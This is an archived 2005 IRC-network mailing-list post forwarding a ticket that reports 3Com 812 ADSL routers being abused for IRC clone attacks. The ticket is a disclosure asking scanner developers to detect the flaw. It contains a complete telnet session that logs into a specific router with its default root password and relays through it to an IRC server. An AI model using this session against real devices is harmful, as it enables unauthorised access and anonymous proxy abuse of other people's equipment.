[[email protected]: [opm] [rt.blitzed.org #1908] 3Com adsl modem router with default password]

Andy Smith <[email protected]>
Newsgroups gmane.network.irc.bopm
Message-ID <[email protected]>
Would someone like to come up with a patch?

----- Forwarded message from "[email protected] via RT" <[email protected]> -----

Date: Thu, 21 Jul 2005 06:33:28 +0000 (GMT)
From: "[email protected] via RT" <[email protected]>
To: undisclosed-recipients: ;
Subject: [opm] [rt.blitzed.org #1908] 3Com adsl modem router with default
	password 
Reply-To: [email protected]


Thu Jul 21 06:33:23 2005: Request 1908 was acted upon.
Transaction: Ticket created by [email protected]
       Queue: opm
     Subject: 3Com adsl modem router with default password
       Owner: Nobody
  Requestors: [email protected]
      Status: new
 Ticket <URL: http://rt.blitzed.org/Ticket/Display.html?id=1908 >


Hello,

Did you alread notice 3com 812 adsl modem used for clone attacks?
This is the last news here in irc.brasnet.org.
Like CISCO routers, they let you connect by telnet with a default
login and use internal telnet:

$ telnet 200.103.143.173
Trying 200.103.143.173...
Connected to 200-103-143-173.ctame705.e.brasiltelecom.net.br.
Escape character is '^]'.
login: root
Password: !root
3Com-DSL> 

3Com-DSL>help telnet
The possible TELNET  commands are:
    TELNET <ip_name_or_address>
    TELNET <ip_name_or_address>TCP_PORT <number> 
or any unique abbreviation of the keywords

3Com-DSL>telnet 209.123.78.74 TCP_PORT 6667
Trying 209.123.78.74 ... 
:cookies.on.ca.blitzed.org NOTICE AUTH :*** Looking up your hostname...
:cookies.on.ca.blitzed.org NOTICE AUTH :*** Checking Ident
:cookies.on.ca.blitzed.org NOTICE AUTH :*** Found your hostname
...
:testing123 MODE testing123 :+i
:[email protected] NOTICE testing123 :[Logon News - Apr 01
2003] Blitzed provides this IRC network and other projects, free of
charge.  If you would like to learn how you can help Blitzed in
return, please read http://blitzed.org/docs/help.php - Thanks!

We will start scan this modems with PTOPM and report to DNSBL.. I
think you need upgrade BOPM to scan this too... :)

Thanks,
Mauritz


_______________________________________________
opm mailing list
[email protected]
http://lists.blitzed.org/listinfo/opm


----- End forwarded message -----

-- 
Andy Smith -- Occasional BOPM Developer And Support Monkey.  Please copy
all BOPM support queries to the BOPM list, _not_ just directly to me!
If I've helped you with BOPM then please check my wishlist!
http://www.amazon.co.uk/exec/obidos/registry/23IJ4U7N4J3X9
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.